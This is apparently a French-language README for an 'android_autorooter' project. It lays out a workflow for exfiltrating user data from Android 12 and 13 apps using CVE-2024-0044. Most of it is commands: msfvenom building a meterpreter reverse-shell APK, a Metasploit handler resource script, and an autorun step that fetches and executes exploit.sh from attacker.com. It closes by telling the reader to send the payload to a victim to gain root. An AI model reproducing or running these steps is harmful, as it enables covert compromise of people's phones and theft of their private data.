scs-labrat/android_autorooterExfiltrer à distance des données utilisateur sensibles depuis des applications sur Android 12 et 13 en exploitant la vulnérabilité CVE-2024-0044.
[
]
Ce n'est qu'une note mentale, plus qu'autre chose, pour explorer davantage les possibilités du travail effectué ici : https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html https://tinyhack.com/2024/06/07/extracting-whatsapp-database-or-any-app-data-from-android-12-13-using-cve-2024-0044/?s=03 https://www.mobile-hacker.com/2024/06/17/exfiltrate-sensitive-user-data-from-apps-on-android-12-and-13-using-cve-2024-0044-vulnerability/
Au final, j'aimerais avoir un exploit auto-exécutable, mais on y va pas à pas..
msfvenom -p android/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> R > payload.apk
Créez un script de ressources execute_script.rc pour automatiser les commandes :
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT <attacker_port>
exploit -j
set AutoRunScript multi_console_command -rc /path/to/commands.rc
Créez le script de ressources avec les commandes nécessaires :
cd /data/local/tmp
wget http://attacker.com/exploit.sh -O exploit.sh
chmod +x exploit.sh
./exploit.sh
Démarrez Metasploit avec le script de ressources :
msfconsole -r execute_script.rc
Lancez la fête avec :
msfconsole -r execute_script.rc
Maintenant, votre listener/livraison de payload est configuré... Envoyez ce payload.apk à la victime.. Allons chercher un peu de root baby